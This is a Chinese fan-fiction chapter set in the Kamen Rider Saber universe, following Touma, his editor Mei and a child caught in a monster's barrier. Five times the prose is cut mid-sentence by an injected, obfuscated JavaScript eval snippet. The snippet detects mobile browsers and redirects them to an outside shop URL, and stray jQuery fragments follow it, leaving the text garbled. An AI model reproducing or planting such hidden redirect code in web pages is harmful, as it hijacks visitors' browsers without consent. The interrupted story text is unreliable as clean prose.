《[假面骑士saber]昨日重现》 1. 序章 ——你有没有难以忘怀的故事呢? 现在,世界上的故事即将消失 故事消失之后,这个世界也将消失 当知道这个世界会消失的时候 你想起了什么故事呢? ——你的故事,会拯救世界。 故事……吗……? 落下最后一笔,为《奇幻故事》画上句号。 一年的笔耕不辍,补完了被侵蚀的现实世界,拯救了那些因为被制作成魔改驱动书而消失的人。 然后就是,重逢。 如归剑入鞘般,他郑重地给钢笔盖上笔帽,凝视着稿纸的琥珀色眼眸中流出柔和的光芒。 他从工作台前起身,整理微皱的衣摆,拿上帽子。 是时候,去迎接伙伴们的惊喜与快乐了。 他微笑着,与众人相拥。 “真是一个好故事啊。” 他感慨着,看着眼前伙伴们的笑脸逐渐淡去,身影消失,取而代之的是一片荒芜的戈壁,他孤身一人站在沙丘之上,脚下传来了踩在沙子上那柔软的触感。 伙伴们的笑声被这荒芜之上亘古不息的风声取代。 突然,有什么东西扯住了他的衣角。 “飞羽真!” 那是一道嘶哑的,夹杂着粗重气喘的,如同从坏掉的磁带上勉强读出的声音。 被称作“飞羽真”的青年缓缓低头,向脚边看去,就见一团黏满了砂砾、正不停蠕动变形的半透明黑色团块此刻就盘在他的脚边,隐约可见一些文字在其中闪烁。 那是,一些故事的片段,一些人名和地名,在团块中蠕动。 那团块的形状随着蠕动不断变化,隐约扭成了一个人类的上半身,它的“手”紧紧攥着飞羽真黑色风衣的下摆,就如同绝望的溺水者,在慌乱中,不管不顾地抓住任何能够到的东西,奋力地往上爬。 “……这个故事,还不够好吗?” 如泣如诉的声音,听不出是来自年少还是年老,男人或是女人的喉咙,就好像是无数人的声音叠在了一起,他们在一起发声。 飞羽真脸上的笑容更加柔和了,他蹲身下来,认真地,双手捧起那双黑色的、抓着自己衣角的手,温声道: “这个故事很好啊。” 蠕动着的团块,动作凝滞了一瞬,仿佛是被这句话吓到了。 “我很感动,真的,很喜欢。” 随着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305109|198684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的话音落下,那黑色的团块抽搐了一阵,接着,从半透明的内部发出了一声呜咽似的悲鸣,那攀附着飞羽真的人形瞬间崩溃了,无数的文字,连带着被飞羽真握在掌心中的那只手也一道淅淅沥沥地从指缝间往下淌,淌入了沙子中,消失不见了。 恍惚了不知多久,等飞羽真再次回过神来时,他已经站在了他的书店——“神山”的门口。 荒漠消失了,风里的焦躁被清晨露水的清香取代,鸟鸣声渐起。 挂在书店入口处的木质书型招牌上,写着“CLOSE——完结”,表示书店正歇业。 真是,让人无比安心的景象啊…… 飞羽真感慨着,简单整理了一下衣着,将衣角最后的一丝褶皱抚平,接着,就踏着轻快的步子走上木质阶梯,来到书店门口。 一如往常,伸手过去将书型招牌的“封面”翻开,露出书的第一页—— “OPEN——故事的开始”。 ****************** *OOC警告 *写着自己爽的文 *龙塑飞羽真(不用问,我的圣刃文,飞羽真都是龙塑)(我玩ygo龙性恋很正常吧) 2. “欢迎光临,请随便看看。” 这地方,飞羽真很熟悉。 那是当然的,毕竟,这是他的店。 飞羽真走到柜台后,转身坐下,坐定之后,他打量着眼前的一切。 椅子放在习惯的地方,稿纸、钢笔、日历,水杯,都放在了顺手的位置。 飞羽真拉开木质柜台下右侧第一个抽屉,探手一捞,就拿出了一本只有巴掌大的记事本,这是他的备忘录。 接着,飞羽真从头开始翻阅备忘录,直到最新的一页。 他放下备忘录,接着,拉开左手边的第一个抽屉,拿出一个牛皮纸袋,这是他本月要交给杂志社的稿件。飞羽真没有将稿纸全部抽出来,只是抽了一半出来,看了一眼标题就放了回去。 接着掏抽屉,牛皮纸袋下压着的就是他正在写的稿子,这次飞羽真翻得更慢,看得更仔细了,没一会儿,这些稿子也看完了。 “果然呢,有些变化。” 他自言自语道。 就算这个故事他已经写过无数遍了,也没法逐字逐句一字不差地默写出来,毕竟,他只记了个故事的大纲,细节之处压根没去记,也没有这个必要。 只要有大纲就足够了。 没错,是无数遍。 这个正在奇幻杂志上连载的剑与勇士的故事,飞羽真已经写过无数遍了。 说无数遍有些夸张,他只是没有刻意去数,但想来,应该数千遍是有的。 毕竟—— 他用写作来打发无聊的时间,写这个世界的故事,写一个叫做“神山飞羽真”的小说家,获得"圣刃"驱动书的力量,与剑士同伴们一同守护现实与奇幻世界、阻止全知全能之书毁灭世界的冒险故事。 至于原因? 那当然是…… 作为一头位于食物链顶端,已经活了数万年,在可预见的未来,还能活上数十万年的巨龙,它总得给无聊的生活找些乐子。 或者说,一旦它找到了乐子,那它的日子就不会无聊了。 例如,创作。 创造一个光怪陆离的舞台,将自己代入其中,和一群角色在那舞台上表演喜怒哀乐,这都是它很难亲身去体验的。说不上有多快乐,也不沉迷,但至少,这就是它的生活方式。 如果只是单纯地重复,那,想必很快就会无聊的吧? 会吗? 龙其实也不知道,如果故事严丝合缝地,每次都逐字逐句地重复,它会不会无聊,因为……它只设定了一个大纲,细节之处,它并不那么严谨,也不追求严谨。就像是划出了一条宽阔的道路,由起点指向终点,至于剧情如何推动,如何发展,如何前往终点,它并不在乎。 剧情,人物,对话,它每一次的创作都不一样,不如说,正是因为不一样,它总是乐此不疲。 这样的快乐,想必能一直持续很久很久吧。 飞羽真心想。 只是…… 这次,有些奇怪呢,视角有些怪。 飞羽真看了看自己的手,这是一双修长干净,青筋微显,右手中指指关节略有些变形的,属于文字工作者的手。 ——!! 突然,一阵毛骨悚然的战栗感自心底猛地腾起,飞羽真浑身一抖。 他倏地起身,抬头向上望去,映入眼帘的只有微黄的天花板。 “……” 是错觉吗? 总觉得,似乎有什么视线正注视着自己。从天花板——不,或许是来自更高、更远的地方…… 他就这样呆站着,仰头看着天花板。忽然间,有些不明白自己为何要站起来,又为何盯着天花板发愣。 一种怅然若失的感觉在心底盘桓。总觉得自己好像忘记了什么,但,备忘录里好像也没有写。 犹疑片刻,飞羽真重新坐回座椅。 现在这个时间,书店里不太会来客人,既然知道稿子已经写到哪里了,他也就依照惯例,在这个美好的清晨,思路最清晰的时刻,从桌角抽出空白的稿纸,伏案开始写作。 “叮铃铃——” 迎客铃的响动止住了飞羽真的笔。 他有些茫然地从稿纸上抬起头。 这个时间,有客人来了? 只是粗浅地一瞥,他就见到了一团漆黑的人影,如同黑云般,从半开的门里“挤”了进来。 飞羽真盖上笔帽,从柜台后站起身来,当他抬起头时,脸上已经挂好了营业式的微笑: “欢迎光临,请随便看看。” 他的书店“神山”布置得很宽裕,开放式的空间,并没有明显的引导购物路线,只有一条从门口进来,绕一圈又回到门口的主路。主路的周围,都是他精心布置的书架以及布景。让进店来的客人都能随便走走逛逛。 一身黑衣的客人对着飞羽真颔首,权当是打过招呼了,然后就慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305110|198684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢地踱着步进到店里。他四处打量着,最终,在一处书架旁停下了脚步。 那书架上陈列着的,正是飞羽真的出道作《失落的记忆》。 黑衣客人站在那排书架前,低着头看了许久,然后双手插兜,一路晃到了柜台前。 “店主,您就是《失落的记忆》的作者吧?” 他依靠着柜台,一双翠绿色的眼眸紧盯着站在柜台后的,飞羽真的脸。 “是的,”面对客人毫不掩饰,甚至是有些失礼的审视,飞羽真也没有丝毫动容,既然是开门迎客的书店店主,那就要做好会遇上各种神人顾客的心理准备,还要能够面不改色地、得体地应对。 于是,飞羽真微笑答道:“算是我的副业,主业是经营这家书店……您已经看过这部作品了吗?” “嗯……” 黑衣顾客低声沉吟着,像是在回忆,无意识地,做了个轮指的动作。 “很奇妙的故事。” 他如此总结道。 飞羽真脸上的表情显而易见地舒展开了,他开心道:“是吗,感谢您的夸奖,谢谢您也喜欢这个故事。” ……不喜欢 黑衣顾客在心底里暗暗咬牙,这让他脸上的表情有些僵硬了,仗着身高,他垂目一扫,就看到了店主放在柜台内显然是写到了一半的稿件。 “这是……” 还不等他问完,飞羽真就极快地从桌角抽出一张空白的稿纸,盖在了自己刚才正在写的稿纸上,略带歉意地解释道:“啊,不好意思,这个还没有刊载呢,是如今我在月刊杂志《格林》上连载的小说。” “哦,失礼了。” 黑衣顾客收回了视线,轻声叹道。 飞羽真继续营业式微笑:“如果您喜欢像是《失落的记忆》那样的小说,那么我现在正在连载的这个故事,您大概也会感兴趣。” “是吗?”黑衣顾客扯出一个浮于表面的笑,问道:“已经连载了好几期了吧,现在要去买,恐怕挺麻烦的?” “不麻烦,”飞羽真殷勤地介绍了起来:“第一本单行本就要出版了,就在下个月,您可以直接买这个,还有特典。” 说着,就从柜台下拿出了一本登记册,上边已经有许多条记录了,都是在神山书店这边订购书籍的客人的姓名和联系方式。 “您可以在我这边预订,只要书一到,我就第一时间通知您。” 3. “约定” 飞羽真递出了登记册,然而,黑衣的客人并没有伸手去接,也没有拿起笔,他只是深深地看了飞羽真一眼,然后……转身就走。 “叮铃铃——” 迎客铃再次响起,飞羽真仍旧拿着登记册,目送着黑衣的客人,直到那团黑云彻底消失在了逐渐闭合的门外,脸上的营业式微笑才消失不见。 “唔……很谨慎啊。” 飞羽真迤然坐回到了椅子上,把手里的登记册塞回柜台下层。 “不愧是,斯特里乌斯。” 可惜,只差一点…… 不过,真要说有多失望,倒也不至于,反正…… 飞羽真目光下移,看向被塞回了柜台下层的,只漏出了一个角的登记册。 “立下约定的机会……要多少有多少。” 飞羽真重新拿起笔,只是,因为意料外的客人来访,多少让他的行文思路有些滞塞。转动着笔尖,在稿纸上写下几个顿号后,飞羽真抬头望着那重新合上的门,不由心中暗忖。 想来也是,在《失落的记忆》那本书中,他写了太多疑似奇幻世界的内容,而这本书也是太过畅销了,直接卖爆了,也难怪会被掌管故事的书之魔人盯上。 不如说,要是没被盯上才是怪事。 飞羽真摸了摸口袋,不出意外地触到一个长方形的硬物。这是他一直当作护身符带在身边的——一本名为《勇气之龙》的奇幻驱动书。 或者说,这实际上是一本圣契。 在宗教传统中,圣契是“武装修道士”的标配武器之一。这些人通常隶属于像是“圣殿骑士团”或是“十字军”那样的军事修会组织,既是战士,也是神职人员,也就是经常出现在奇幻故事中的,被称为“圣骑士”的存在。 而他们的形象,在历史记载中经常被描述为:腰间悬挂圣契,手中持握利剑。圣契实际上就是一本圣典,是记录律法或教义的典籍。而在奇幻作品中,圣契不仅是文字的载体,更是神圣力量的容器。 飞羽真翻开勇气之龙的封面,又闭合,果然,没有丝毫异状发生,仿佛这就只是一本单纯的书。 ——要成为圣骑士的话,我还缺一把剑……是因为时机未到吗? 飞羽真将勇气之龙贴身放好,接着整个人都坐正了起来,重新拿起钢笔。 ——希望那个时机早些到来吧,至少,如果有了那把剑的话…… 两个小时,这是飞羽真为自己设置的界限。高度集中注意力的写作,最多不超过两个小时,就要放下笔,去做些别的什么排遣排遣。 于是,就当飞羽真放下笔,正要起身做几个拉伸动作时,迎客铃再次响了起来。这次,除了清脆的金属撞击声,还有一个熟悉的女声,正呼喊着自己的名字—— “飞羽真!我来拿下个月的稿子啦!” 出现在门口的是一位二十出头的年轻女子,个子不高,扎着个马尾,穿着一身休闲的便装,背着个亚麻布包,正是月刊杂志《格林》负责与飞羽真对接的编辑须藤芽依。 只见其三步并作两步,熟门熟路地直冲向柜台,就在她整个人都扒到柜台边上时,飞羽真也刚好将装着稿件的牛皮纸袋递到了她的手边,配合那是相当的默契。 “多谢!” 芽依兴高采烈地接过牛皮纸袋,一边打开检查标题和页数,一边感慨道:“能遇上飞羽真和白井主编,我一定花掉了半辈子的运气!” “哦,是吗?” 飞羽真端起茶杯,笑着抿了一口。 芽依一边刷刷翻稿子一边点头抱怨:“哎,你不知道,有些人,稍微有点名气,不对,甚至还没什么名气也没什么大热的作品,就敢拖稿,我真是服了。” 确认稿件无误,芽依将稿纸小心翼翼地塞回牛皮纸袋里,就听飞羽真那儿传来了盖上笔盖的轻微“嘎达”声。 芽依抻直了脖子往柜台里瞧,问道:“下下个月的稿子?” 飞羽真起身将稿纸竖起在桌面上敲齐,顺口答道:“是下下下个月的。” 芽依闻言,顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305111|198684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时眼冒小星星! “那下下个月的干脆一起给我吧!我一块儿校对了完事!” “那可不行。”飞羽真将稿子放进抽屉里,在芽依希冀的注视下给抽屉上了锁,然后换上了公事公办的语气道:“我们签过合同的,约好了交稿的节奏,当然要照章办事。” “好吧……” 芽依叹了口气,虽然她本来也没抱什么期望。 “你要出门?” 见飞羽真从身后的衣帽架上拿下他的那顶黑色礼帽,芽依好奇地问,这不是还没到书店歇业的时间吗? “嗯,有点事,”飞羽真一边回忆着备忘录上的内容,一边拿起斜挎包往身上挂,说道:“附近店里的一个孩子,叫亮太的,他的父母拜托我帮孩子准备生日礼物,我得给孩子送去。” “嗯?” 芽依听完就是一愣。 “亮太的父母,拜托你直接把礼物送到孩子手里?” “是啊。”飞羽真点头。 芽依皱眉:“不是交给孩子的父母,让父母亲手送孩子生日礼物吗?” “不是。” 飞羽真无奈摇头。 芽依更加莫名了:“怎么……听着有点怪怪的?” 飞羽真心想,他也觉得怪呢。也不知道“自己”是怎么做到的,和亮太的父母立下了这样一个奇怪的“约定”。关键是,亮太的父母居然也认可了,让书店老板直接给孩子送生日礼物这种奇怪的事。 但……约定就是约定,一旦立下,他就必须遵守。 把作为礼物的书塞进挎包,飞羽真走出柜台,顺手关掉了店里的灯。芽依也赶紧跟上,随着飞羽真出门。 “嗯?一起去吗?” 飞羽真见芽依跟了上来,于是问道。 芽依点头:“顺便去街上逛逛吧,反正稿子已经拿到了,我也不必急着赶回编辑部去。” “行。” 飞羽真自无不可,将门口的书型招牌封面合起,两人就一道走出了书店。 4. 虚影 这是一个始于春天的故事—— 明媚的阳光从斜侧方照下来,并不刺眼,带着上午十点特有的温度。空气里浮动着初春的气息——大约二十度出头,不冷不热,正好让人觉得身上暖融融的,又不会出汗。 风吹过来的时候是软的,带着点泥土和青草的味道。 小说家和他的编辑走在人流如织的大街上,周末的阳光正好,给整条街都镀上了一层暖洋洋的调子。沿街的店铺全部开着门,咖啡香从某个角落里飘出来,混着可丽饼摊上的甜味。 “总算是暖和起来了。” 芽依抬起头大大地伸了个懒腰,整个人都舒展开了,她可是最怕冷的,篝市的冬天实在是难熬,好在是,春天总会来的。 舒展完,芽依低头,就看见了飞羽真塞进挎包里的那本书,因为书太大了,只有下半能装进包里,于是就漏出了书的标题。芽依不由好奇地探头一瞧,顿时,瞧了个满脸黑线。 “呃……飞羽真,” 芽依指了指。 “你给那孩子选的生日礼物,就是这本书?” 飞羽真低头看了一眼,也陷入了沉默。 是啊,为什么选的是这本书?飞羽真自己也想知道啊! 埃克多·马洛的《苦儿流浪记》。硬要说的话,也算是儿童文学吧,但,且不说它的故事内容,就说这个篇幅…… 对于孩子来说,是不是有点长了呢…… “呃,不,不好吗?” 飞羽真只能努力开动脑筋给“自己”找补,解释道:“讲述一个孩子……呃,历经磨难,学会了诚实和坚韧,最终与贵族生母团圆并继承百万家产成为富豪的故事。” 芽依:“……” 好,好吗? 所幸,善解人意的编辑小姐姐并没有接着追问,只是暗戳戳地瞟飞羽真,一脸的我不明白,我大受震撼,但我理解并尊重。 很快,两人就抵达了目的地,还是亮太先看到了飞羽真一行人,挥着手开心地从店里跑了出来。 芽依就见飞羽真早已把书拿在了手里,他蹲下身,微笑着把书递给孩子的同时,对他说生日快乐。 显然,这孩子和飞羽真熟络得很,对飞羽真的来意也清楚得很,不如说,他已经期待许久了,于是,他接过礼物,开心地向飞羽真道谢。 然而,这愉快的气氛只维持了没几分钟。 一种强烈的预感击中了飞羽真。 比飞羽真更快发觉情况不对的,是他放在口袋里的勇气之龙。这是一种很难用言语形容的感觉,飞羽真察觉到了明显不源自于自身的情绪。清晰,分明,带着某种陌生的质地——飞羽真能感知到它,却不被它淹没,也不会和自己的情绪混淆。 因为那是属于另一种存在的情绪,并不是人类,而是有别于人类的……甚至很难说是生物的情绪,而他只是恰好能接收到,并且客观地阅读它,理解它,用不是“感同身受”的方式。 勇气之龙感到了不安,而不安的源头,似乎是…… 飞羽真追寻着那一丝灵感,望向就在不远处的一座大型购物中心,就在商场地库入口的一角,一个异形的身影正慢慢自阴影中浮现。 那是……! 就像是要印证他的猜测一般,周围的街景瞬间被刷上了一层异色,那是浓郁的,如同儿童蜡笔画般梦幻的色彩。 然而,没有丁点童真,只有诡异。 “咦?” 亮太也发现了周遭的变化,正要回过头去叫爸爸妈妈快看,下一秒,孩子如遭雷殛,整个人都呆楞住了—— 别说是爸爸妈妈了,就连他们家的店,乃至整个街道都消失不见了,取而代之的居然是一片绿油油到几乎刺眼的树海。 “哇!这是什么!?” 芽依也因为周遭环境的突变吓了一大跳,她一边发出惊叫,一边下意识地从包里掏出相机打算将之记录下来,没时间取景了,这七彩泡泡漫天飞舞的奇景也不知道会持续多久,总之,飞快按动快门。 飞羽真没有丝毫犹豫,他一把捞起亮太,回头就喊芽依赶紧跑!飞羽真的声音里少有地带上了焦躁和紧张,芽依虽然还在职业习惯的驱使下按快门拍素材,但也从飞羽真的嗓音里听出了情况的严峻,来不及多想,拔腿就追了过去。 尖叫,爆炸声和破碎声在背后接连炸开,地面抖得至少有五级地震,芽依吓得根本不敢回头,只一个劲地加速再加速! 两位文字工作者带着一个小孩,全速飞奔了足足一分多钟,其中一个还是负了重的,自是跑得上气不接下气,这才找到了一处僻静的墙角的阴影下,三人迅速躲了进去。 “这到底……怎么……回事啊!” 芽依掐着剧痛的肋骨下缘,疼得五官都快皱到一块儿去了。 飞羽真紧贴着墙根,他刚才是刻意带着芽依和亮太往远离那个异形的方向跑的,探头看了看外面的混乱,接着,就把亮太交给了芽依,嘱咐道: “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305112|198684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芽依,亮太,等会儿如果你们看到有一本很大的书,就冲进去。” “哎?什么?什么?” 芽依无措地抱着已经吓傻了的小男孩,又听飞羽真这么没头没脑的一句话,一时间,大脑的逻辑功能直接宕机。 飞羽真加重了语气,再次重复道:“就是,看到很大的一本书,就带着亮太冲进去!” “哎?!什……!?” 芽依没来得及追问,飞羽真就再次跑了出去。她倒是想追,但怀里被塞了一个孩子,一时竟没法起身——那孩子因为飞羽真跑开,又担心又害怕,正眼泪汪汪的。芽依也只好一边有些无措地哄着孩子,一边小心翼翼地观察四周。 这一看,她就有了发现—— 近处的一些建筑物,外墙皮仿佛在几秒内经历了十多年的风吹日晒,成片地剥落,露出的内里——不是钢筋混凝土的墙体,而是…… 芽依眯起眼,仔细分辨,那纹理似乎是…… 书页? 芽依顿感头大,短短十分钟,突生的异变,大量的信息塞满了她的脑袋,只觉得难受极了。 “书,飞羽真说的,什么书,我什么都没看到啊,而且,还要冲进去,什么啊,乱七八糟的……到底是怎么回事啊……!” 芽依终于第三次发问,但没人能给她答案——直到下一秒。 毫无预兆地,一道耀眼的蓝色光芒在两人躲藏的角落不远处的空地上显现,那居然是一道高达三米的,书的虚影! 芽依和亮太,一个大人一个小孩,都被眼前的景象震惊到了! 那是什么?立体投影?大白天的,在这种空旷的地方,这么亮的立体投影? 两人互望了一眼,猛然都反应了过来,异口同声道:“书!” 这就是飞羽真刚才说的,书?! 亮太先一步从地上跳了起来,朝着书的虚影就直冲而去!他相信神山书店的店主,这个经常带着他和许多小伙伴一起读书,分享读后感,玩角色扮演游戏的大哥哥飞羽真! “亮太!” 芽依见状也赶紧连滚带爬地起身,追着孩子跑了出去! 数秒后,芽依就目睹了毕生难忘的一幕——当亮太撞进翻开的书页里时,孩子的身影瞬间就消失不见了,而芽依都来不及惊讶,就见书里居然凭空跑出来了个人! 这个距离,刹车已经来不及了,于是芽依只能绝望地一声惊叫,和这个凭空跑出来的蓝衣男子结结实实地撞了个满怀! 5. 视线 人们四散奔逃,街道上顿时冷清了下来。 飞羽真感到了视线,还不止一道,直勾勾地,毫不掩饰地落在了自己身上。 嗯,想来自己也确实够显眼的,大家都在逃命,纷纷远离混乱爆发的位置,唯独他逆流而行,当然显眼。 他是来找他的剑的。 这是他的圣契,奇幻驱动书勇气之龙告诉他的,虽然不是用文字,也不是语言,而是一种感觉。 飞羽真在已经成了半个废墟的广场上驻足,打量四周。 旁边的一栋楼此时只剩下了半栋。不是因为击毁或坍塌导致的,而是外观本身正在被销蚀——边缘坑坑洼洼,像被火燎过一样。 地面也是如此,砖石路面被“烧”出一个一个不规则的大洞,不知人会不会掉下去,又会掉到哪里去。 飞羽真不自觉地皱起眉,抬头往天上看。 这片天空蓝得很假,没有明显的光源,仿佛这个世界本身就是亮的,而不是被什么天体照亮的。七彩透明的泡泡飘浮在空中,偶尔有巨龙掠过天际。 很明显,这是个异世界。 这片街区像是被拉进了一个特殊的异世界,而街区本身正因为这个特殊异世界的关系而被不断地侵蚀和消融,或许是被这个异世界当成了“入侵者”或者“异物”之类吧?照这样下去,最终,恐怕这些现代化的痕迹都会消失,或者改换另一种面貌,完美融入这充满了童趣的异世界。 但,或许就是因为现实入侵异世界拉近了彼此间的距离,勇气之龙感知到了失落已久的,它命中注定的搭档。那是一把剑,自十五年前被前主人遗弃后,就在这异世界中浑浑噩噩地漂流。 按飞羽真的理解,大概就是套装吧?作为一名专为奇幻杂志供稿的小说家,飞羽真平时也没少玩奇幻题材的RPG游戏,一方面是写作之余的消遣,另一方面,也是取材。 他猜测,这就像电子游戏里的圣骑士装备那样,有些剑和圣契是成套的,同时装备在身上会有额外的效果。 飞羽真有些茫然,他能明白勇气之龙的意思,但毕竟只是“意思”,不是明确的语句,所以……剑到底在哪里? 咚——咚—— 沉重的脚步声由远及近,飞羽真收回了思绪,抬眼往震动传来的方向看去,就见一个棕褐色的臃肿怪物,一步一顿地朝着自己靠近。 似乎……就是刚才飞羽真瞥见的那抹异形阴影,外形对上了。 “人类,你不跑吗?” 拖着笨重的身躯,那如同用石块堆砌的怪人瓮声瓮气地开口道。 会说话? 飞羽真有些惊讶,这怪物居然有语言能力,甚至能和他交流。 “跑?能跑得出去吗?” 飞羽真顺着怪物的话,反问道。 “当然是不能的,”怪物郑重其事地宣告道:“因为这个世界,并没有‘人类’这种生物。” 如果非要穿越这书型的结界,就只会和那些建筑物一样消失! 因为它们,本不应该出现! 说完,他抬手一指。原本扒在他头顶的两只岩石断手猛地飞起,朝着飞羽真狠狠砸去! 飞羽真侧身一闪,断手擦着他的肩膀砸进地面,轰然炸开一片碎石。而飞羽真没有犹豫,直接拔腿就跑——他此时手无寸铁,实在没必要和怪物硬扛。 “想跑?!” 身后传来轰隆隆的巨响。飞羽真回头一瞥,只见那两只断手横冲直撞地追来,沿途的掩体——半截石墙、翻倒的手推车、断裂的石柱——全被砸得粉碎。碎石飞溅中,断手不管不顾地朝他碾压过来,一次次砸落,一次次将地面砸出龟裂的深坑。 飞羽真脚下不停地变换方向,堪堪躲过又一次砸击。碎石擦过他的脸颊,留下细小的血痕。眼见着能让飞羽真迂回的空间越来越小。 就在这时—— 吼——! 一声高亢的龙吟震彻了天际。 红色的影子从天而降,就见粗壮的尾巴横扫而过,结结实实地抽在两只岩石断手上!断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305113|198684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手应声飞了出去,砸进远处的废墟,扬起一片尘土。 “那是……!” 在遥远的某处秘密的小暗室内,掌管“故事”的书之魔人——斯特里乌斯,此时正陷坐在沙发里,十指相抵,一双绿色的眼眸正紧盯着由摊开在桌面上的魔改驱动书《魔镜魔镜》投射在空中的景象。 《魔镜魔镜》是以《白雪公主》为原型制造出来的魔改驱动书,可以依照使用者的心意对特定区域进行窥视。 而此时,他正以一个居高临下的视角,看着一条美丽的炎之巨龙凭空出现,重重地落在那个名叫“神山飞羽真”的书店店主身后,鳞甲上灼热的光如同岩浆般正不停地流淌。 在斯特里乌斯的身后,立着一名全盔全甲的战士,此时也正透过盔甲的目镜,紧盯着那画面的发展。低喃出声——“勇气……之龙。” 而另一边,飞羽真第一次真切地感知到了所谓“无形的压力”究竟是什么。 明明他穿着单薄的春装,身上也没有携带什么重物,但,当勇气之龙具现化出现在他身边时,几乎是立刻,一种无形的压力就结结实实地落在了他的身上,就好像他此时正在“用力”做着什么。 果然,圣骑士选择老老实实地用剑和敌人战斗,而不是直接化身近战板甲法师把圣契中蕴含的力量砸到敌人脸上,是有原因的—— “该死,该死该死,该死——!” 那岩石怪物也是一声声地怪叫,它抬手去划拉头上原本扒着岩石断手的位置,然而,那里已经什么都没有了。勇气之龙一尾巴直接把那俩岩石断手给抽碎了。 它狂叫着,朝着飞羽真冲去,居然,速度一点都不慢! 勇气之龙再次仰天长啸,而这一次,它的龙吼带上了明显的回音,就仿佛有什么东西正在与它共鸣,巨龙的整个身躯都被包裹上了一层淬炼般的火红光芒! 直到此时,一名骑着狮子的蓝衣男子才带着一身的狼狈赶到了现场。 然后,也为自己眼前的这一幕惊呆了。 6. 解明世界之时 伦太郎只觉脑袋晕晕的。 也不知道是因为眼前的景象过于惊世骇俗,还是……刚才的那一下撞,给他撞出脑震荡了。 论谁刚刚用圣剑的能力穿越了米吉多制造的结界,都还没站稳就被人迎头痛击,都会懵的。 当时他甚至短暂地滞空了一段时间,接着狠狠地摔在了地上,额角立时就磕出了血。那一瞬间,他下意识地以为自己被米吉多偷袭了,心想这次的对手应该有着不低的智能,居然会堵传送点! 然而,当他挣扎起身,仔细观察对面才发现,刚才和他撞了个满怀的不是米吉多,而是人类! 呃,看来,不是被堵传送点了,而是圣剑恰巧将传送出口放在了大街上,和奔逃中的人撞上了。 所以,是巧合吗? 芽依也挣扎着坐起身,因为力的作用是相互的,同样也是被撞了个七荤八素,她一抬眼,就发现蓝色的书本虚影封面居然合上了,下一秒,书本虚影就如同凭空出现时那样,凭空消失了。 完了! 眼看着撤退路线不见了,芽依没忍住发出惊叫! “啊!书!” 伦太郎:“……” 他看看芽依,再看看自己身后,顿时明白芽依在大叫什么了。 书没了。 那是当然的,这是用圣剑制造的临时通道,本来就保持不了多久,根据米吉多创造的结界强度而定,通常也就能维持个三到五秒左右吧,绝不会超过十秒。 不过…… 伦太郎看向芽依的眼神变了。 这个人,难道是知情者?看她的反应,她明显知道这是可以通往外界的通道。所以刚才撞向自己的力道才如此之大。逃命呢,当然要肾上腺素全开。 虽然很可疑,但,没有战斗力也是很明显的,看这个身体素质,估计也就和在南区基地里工作的文职人员不相上下。 伦太郎咬咬牙,还是上前去扶住了摇摇欲坠的芽依。 “这里很危险,你快找个地方躲一下!” 呜呜呜我知道这里很危险! 芽依也摔得不轻,手掌火辣辣地疼,膝盖上蹭破了一大片皮,混着沙土正往外渗血—— 短袖和六分裤根本护不住什么! 她狼狈地撑起身子,疼得龇牙咧嘴,只能先捂住剧痛的胳膊肘,欲哭无泪。但看伦太郎身上明显的制式服装,脸上也没有一丝对周围异状的诧异,再考虑到他就是从书的虚影里跑出来的,显然,他是来解决问题的。 